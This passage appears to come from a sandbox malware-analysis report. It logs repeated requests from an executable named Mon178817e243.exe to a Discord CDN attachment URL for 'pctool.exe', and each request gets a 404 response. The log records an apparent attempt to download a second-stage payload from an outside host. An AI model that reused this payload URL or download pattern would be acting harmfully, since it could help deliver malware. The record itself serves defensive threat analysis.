      Set-Cookie: __cf_bm=wJQXwkE_tYEoG2aFpBNEkDpxa_uG3dL_4C4A8WKxCA4-1724323074-1.0.1.1-nbpiEKFTW90c3YaDXSi5bvJQ9FH15dTvWOLRWR7oVp696fqD0VaSIQ3JkGu7rWfZAcvNv25iXwCl88RtytZKAQ; path=/; expires=Thu, 22-Aug-24 11:07:54 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Nr7vlBAOXX68tVwF8JnyzyabVaS6EG3sGHHgQcnrqL6aDrr7lPjkaprZPVOTxqD3k9uEJfgEXJrmXy%2FlcGju2G5LY%2BDlcwqr1VT0smLw6I2jXoOFKlTl34RlxSYpHVL4b7wMA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=MGGNcaqaxHgUml5yFc0fFHHAQE6MnwBeW50vQcC4bWc-1724323074031-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723aec9d5293f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:37:59 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=HJwB7c7kH_O5pl.exGMok2OB0zO1TotB7_9UYKDfRXI-1724323079-1.0.1.1-vCjKiPUnSdN5NQFfWihhy46D1mmV16sXKW.DWOMs_FXgrN8fNQbismSr1x7wRNEqQ4kwgRyysGIi0bw2tzvmbg; path=/; expires=Thu, 22-Aug-24 11:07:59 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P9zt7EcOkc2vy6ZgxhnN8MctI7meaqZlKAl4XV0%2B6MubWweBjbOXUnjLXTuK%2B3hmyLjtotyUbaZlITT%2B4yEvBOTNdqw2ovWunmeefEePLWRDUHN6QgNhkzMfnKcoduPUL0Tmjg%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=wY62_L0TxRgyT89OQqoRGC1yky05caBGYDJ4EX_JoLA-1724323079107-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723b0c5f5a93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:04 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=SkZCiGTDUDLHAX6wkh9Dso62yvDcQ2dMKEgrz4TViJE-1724323084-1.0.1.1-9Q0TL4x3TIg2YWQs3N07wEo29oWns25f56I5xg_MUKCvW6MohHRpLWPH66fEtvlXp83nJS7sw6EooILiYcOKsw; path=/; expires=Thu, 22-Aug-24 11:08:04 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4JS5%2F9oNtkW8IAHCGv2v2iLyzi3e4yPaX9MDHa4ESAAdQc7plUnF5VPJAwojCB5VDoBHex2fdMztKSlcFyG7iLYVblm%2FGo%2FqR6UDiISpgDpDgg%2FvKCJHwxWk%2B6xVNGfCL6J%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=7.tHMXAwEH2eBjzmSvjHHp4D7BsYf_5GCeRBUMsnnrk-1724323084177-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723b2bfbe993f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:09 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=90eLmUEMss2i1G1dJo3CKkeDOBhC_gcxPm7wLdqTvSM-1724323089-1.0.1.1-9x2AW3bOK4BEC8DUNITDYU24ctRBLp3EQzvgZHEntiAbYiX6yz6QNpGE5OgnJzGOunW0RliPhqu.5GXzxN4.0g; path=/; expires=Thu, 22-Aug-24 11:08:09 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XxJjbqbsbx0p7siTIFzadNwc%2Fg5jV3iZXpVB4n0Jju5PVLk2MKhRTWQkhpDRMucpSWqRKOhuFutJIgwE11GB%2Fv3gqMTCNwj%2BqD6CLYtD8msAPSDaQya%2BQHla56NwvcteAnOlHQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=.0mOjz4JAd68tDBPKi.qTfZ7xCp3OlqoeQgPkJUWK2w-1724323089235-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723b4ba9f293f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:14 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=ld3OSPCqIRorQtUUSMVjUYCgODPjH9DN0OmWs4OO2SE-1724323094-1.0.1.1-MtgyDBolo9j01OyMvwl0n7GESOqQS6Q3r1pE.9_dzlw9r4XjmTqBONys5R4kAYmUOfyLcR_oqX6VAXV1_SrT6A; path=/; expires=Thu, 22-Aug-24 11:08:14 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YAzRmapflCH3WiSImnGU5d%2BT78VfJ32VKyEnrJaDG%2FPtm%2FCl8u%2FfHTWL5XEBH9x3RQplVwvjPGmqodubYuuvzM7ygQCv%2BswsHXVj7N3Dn6Wlw7Q%2B20UmLZNwPtdw%2BeU8exejEA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=gz3C3UWSrZbTsdWuqLP4VpLpn2dvy7uOc8I5gv.giEM-1724323094288-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723b6b3d3693f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:19 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=x9AP5HQ2oX.aSHRe93mnttMnsCtbMZEIZwmTR6lvQcc-1724323099-1.0.1.1-BgtDB_4BMKbXNUXo9eQ_pgttcJp1P1DtQ4YQIkef_J4YzlDBF_xlh1vmtT7o3b7wBrpy8Bh7oWQdvCz8gHpS_g; path=/; expires=Thu, 22-Aug-24 11:08:19 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r0aLp%2Bk9i1nLWK3RimFebPTxv1lMrPxKL0O4mMz7pfnT6GFWZUEpaSeDNrV6usxAE4YXqPtbhFk87y2U8%2B1jbPp%2BOCBHBiyhkgRmn7ehjPlQCTB0d3vtTsVfm2eOv1ztSoxjyw%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=drdfQsUKRyxhJqjfpTGgHrrUjWOgZkILa0U.8En2Gtw-1724323099371-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723b8ac84593f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:24 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=U3tODbS7y_CeEbnyLJ_5AJSx_P2MuVaSvF6oeBHrMMI-1724323104-1.0.1.1-XXlrhAgn_9iEaPdMLwOcQo4GHMKfjq_.d1ficyFlnrs9vpaW.KDHb_OzyA2BwiNYVgIMiC3nvBm94Sg.gpav8A; path=/; expires=Thu, 22-Aug-24 11:08:24 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DiNcNpYUNv1rBmzBOUhfQt5tJXqZV2Xy5zYA2m5ZaipUp3bLDsFNLb7nqYegK8ltspgpp41Eu6bcOscElg8Q95N0te8uV4nbsDbzYgP57Wt%2Fown8vy0IluVFNvm7W8QQ7rZBtA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=K3BV05bPwDqwQ3f8wdKJ1XGp.FfQLhVte0gq3pJSO_U-1724323104451-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723baaad1a93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:29 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=CkFcFztOAxFKftKPLpRITEDaPvJu4gs09mc2EyRqDOE-1724323109-1.0.1.1-bLq4cxz4joe1yNiSagq6jJr1OkM2ncaaJJJqMq0MRjiUcGR40RMuwP22yqrIXAZoYxN3qzqXhuY3Y8eh16d1gg; path=/; expires=Thu, 22-Aug-24 11:08:29 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KzsGG0Xb5CWVascayCJNzBBAexW%2FyvkY%2FXpT2KsaEZddVpaoCZUXXP3dPVa9a3w6Wam2QLlMoai6El3eKIMWdKdMDtP3llq6SRJAnwB41Ka1yVwS%2Bd1Km8i%2BdDPfjsfjpePVyw%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=yj68fk4vuYpG5OGL2IP9sTEbTbj3BjKkIYlpmuHkuG0-1724323109526-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723bca798593f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:34 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=qbCuZEUmIQv1tYBzQypKsHWIwFXClzpKnSjQvm2q2cg-1724323114-1.0.1.1-FJYMeW4AqFb8S0jHkNT1Tx6HCRhW88LXo3D7t36VmzUU5B6ZcYfGqd4yyA3JGZJE5CRwEosNYmDC1u_2KL71mQ; path=/; expires=Thu, 22-Aug-24 11:08:34 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TKL1Ni3zXyoRqVZgUshtmsDOg9AKxpojJ4uheFEHBBs9qfYSfyfpuatJYO9wG4j4ny%2Fg6rmwrA%2BmbKt%2BK0wJhgX7yMOlQpp9hOCMB4%2FxKA6gytN3fA39VPm4f8H3OqiIWvTIwQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=tpR5pSx2rdV36Z3VpumM9lkMQvL95qFcThshPshVihs-1724323114587-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723bea1cc893f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:39 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=tu7EediA1c7Yk8b1kLAV3Ac1JBXA6fMin.0KeLVE0A8-1724323119-1.0.1.1-J1IW98rrYVFi5Jnh.lvjVW2TeNKbQqhAz8bATmovgwW82cTsB575NNv_QRJCgCzDaL6sdatPMbc_wiGPRYroyA; path=/; expires=Thu, 22-Aug-24 11:08:39 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pre0c5Ibp6y3x3JSfPcgJhCjB7yqfFCbBk6H95Q8Xpdz9vtceDaxDIjjpeem6xBORHmfWc78dYmI4Q1nx7Zr54reAlxnLu%2BmYlipbXYNmepmrE6p5q0DWBXF7dcJlzzQCcl4RQ%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=pCPQWLrUi_mQRhcPNZnSG0fPDGhsndTIPh6dXkRBxnk-1724323119937-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723c0b8a4093f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:45 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=ZheAuo6oB3RqyvlAQoFDkrA8fTRQ7ilXwEto7JkmxX0-1724323125-1.0.1.1-162J2qlHMBgeVRCR6gmdHa12YZhGMe28ywpSd1BZ3gqnC8f_4EqRVk58rJ.aYWu5R4HyXyOq3GFrtJLL9ggV0A; path=/; expires=Thu, 22-Aug-24 11:08:45 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=091lM2%2BdKK1lORHcoSxIVdd1q08ZlZZgEsHpU6hKGPWcY6yciPu%2FuMSPbOK%2BLJw1r5h0RtaBbd11KOV%2BHwru2Xr%2B00smg38yohST8dxL83aPbC8iu%2BhMpO%2F40RhMjWSl6s5LHA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=NX88rmu1h8EduDT8ag3RnZwCfY10qYncwyYPC0drufc-1724323125909-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723c30c86a93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:50 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=UweFDdnlMg.QDo3MBVa5G4rZv_BrHFYibNrlfEAkRsg-1724323130-1.0.1.1-NMKbgHkFxR7AVDnTIP7LldoxeWTLXoTwQN0CLSUi1gBkW90ZhZb.P78m0tb02qbHlrixrrkprU56fTw6KAcaDw; path=/; expires=Thu, 22-Aug-24 11:08:50 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2BVLFYCGkQK6YGCImGaVRQ8fMZZpuvlLSAd20pZY5gvzqdEkJHxYkRO6nfqqOBjZxBxsNYBFLXsWAoLTxEbE545DKtVdrqNz%2BRx35ANMuuuje2Y7WBt5s4fsYoofqPo%2BFkA91w%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=iZP4tHbT8w75h38Es3__F9QxGMqKPmzakLovNVQV1n8-1724323130977-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723c5078da93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:38:56 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=7tGTP1irrDtrZ77vSe5_ENEgAXkiMjlfY0qIYKkfYg0-1724323136-1.0.1.1-85be0AtrjOiTVXwfWCZmPItb2vG_iEM5JT.3RRAoC9l3ml46QUEIcrFTwAfPMfh03qq.S7VIQJ88X8OCsd0rcQ; path=/; expires=Thu, 22-Aug-24 11:08:56 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PXnCIUeJiB1s5MJ%2F%2BuFRjz%2F%2FGfBEFbZUtt8QZ2v4tZ3QNT0vZspsK4B%2BrRtSKkM%2Be6DW3QpdipqIUvgAmLSwOS%2BtRO3DxLgiFRz2an4UKYNg7sh1am9ogjFHd8vGc1g6JFQ8RA%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=7rf8J__M7OAOnb7cXzqz024bf3BWPdMRPqL_4qZSMAM-1724323136343-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723c721f7b93f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:01 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=nsWok9RRYzwWUlNqsjyDx.6uatzjf2sBGSOdXT6voEs-1724323141-1.0.1.1-JNFWebWcxz2gBIaLVeL0QoIZFtt118THDm.EeaiDlvxB6FxMc4axRk7Lw9TXRtwMp1ehmavgfYzvITkI9zPz7Q; path=/; expires=Thu, 22-Aug-24 11:09:01 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U8uiGeNqtQiRBNgeMZKpJ6ozLh4lGK0tFYmg2qeNTTCuJndxdmWu7ZhESrQPXGiW5EQgimmWhLUIbjS7okaqAyJs5YzNu6Ed%2FHhww0EVpuLWjK4pV6DeEZ9SoTROWPmgkOEVPg%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=zTzHPScBQw7aaEHOHDEWB9b4GK8QFn0JlkAlWprmWGI-1724323141407-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723c91ba6593f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:06 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=2zM6vTkMI33ZezfZZ_LCJkJoSy.fb_.81D18tqaXpIc-1724323146-1.0.1.1-CpRqv_s19uuhTAwEuavJ8Rrl9b.mJUENIqSY6FrpezcLInpJ1SMPwnt4akaYDObakMBoBKjk8iZ_bmnaLv5jxw; path=/; expires=Thu, 22-Aug-24 11:09:06 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CCS2NdxmqzUne%2FQv64t2JVUMunhUI%2BcLyOWJyzgT%2BnCkjPWijN7Y7HK4i3L185Ov7hVomcfFll5xIktsX%2BcCNsQ7nNinpUTc55TlkqSWRJWLOTUO4OBq0JaJ%2FZu5hVPTBi%2Bniw%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=bHRlGS4aQAW_O3NKtSVDolG.NH2Z18Ru8uLT9dc9TcI-1724323146473-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723cb158f393f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:11 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=N6pTyTPEVIfsIZ9n0zWpgIDESnXLuOg3hthh_ya4e88-1724323151-1.0.1.1-3iO75MvYz35xpZ1wQx7nXb6vgYPALp5D0ufxPVOtbUmjEx1NjbzlntoD40J9lwxO8MmPfN1nH6r7lKdGCFDeVw; path=/; expires=Thu, 22-Aug-24 11:09:11 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0W1Nzb59ryoiEh0EzpZAJ9KqnD%2BpK%2BhcgDrUijeRLll6L7d2EQrix3ybOl%2FEYTPS2pKTCnphtWx%2BY1bN2YJ91LJ9s4yInXpaBGjPvH37qt34OYORkQxP%2ByjWpiNqJAmmBoqD5w%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=DAivFPhbG0obzROWOesKM8u0DTsB9bGJfYhlZ.UzA_4-1724323151540-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723cd108c693f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:16 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
      Set-Cookie: __cf_bm=lYXn0wH4wU0w2MnMX1Y73G3LokJze4oBpEGySxlWK1o-1724323156-1.0.1.1-4yJNi13_FOw7WwJenRM5SqJNXKMci1grXi_PTAkJahqGMD2B6ENsAL60io8W7C3BzP934O6h9HAQQ.TPlhTgMw; path=/; expires=Thu, 22-Aug-24 11:09:16 GMT; domain=.discordapp.com; HttpOnly; Secure
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DB7x8lTwnL8hw2gRSXHm4MWEOaxqGP7y%2B4YwZCpEcm%2FOdqgGhID2bX3bzTYIPZnLMBg3L13CQRAtG8Ku%2FP0%2F3uVndYlMsjxtxhDHqw6gJApAoRW3N1buoxFftZx%2FZkEq82gL6A%3D%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Set-Cookie: _cfuvid=MWifPmU05qO.o56KukfAd86XLU4cXPdnLoyKSNzfRis-1724323156641-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
      Server: cloudflare
      CF-RAY: 8b723cf0ba4093f4-LHR
      alt-svc: h3=":443"; ma=86400
    • flag-us
      GET
      https://cdn.discordapp.com/attachments/873244194234318850/897174379568451604/pctool.exe
      Mon178817e243.exe
      Remote address:
      162.159.134.233:443
      Request
      GET /attachments/873244194234318850/897174379568451604/pctool.exe HTTP/1.1
      Host: cdn.discordapp.com
      Response
      HTTP/1.1 404 Not Found
      Date: Thu, 22 Aug 2024 10:39:21 GMT
      Content-Type: text/plain;charset=UTF-8
      Content-Length: 36
      Connection: keep-alive
      X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
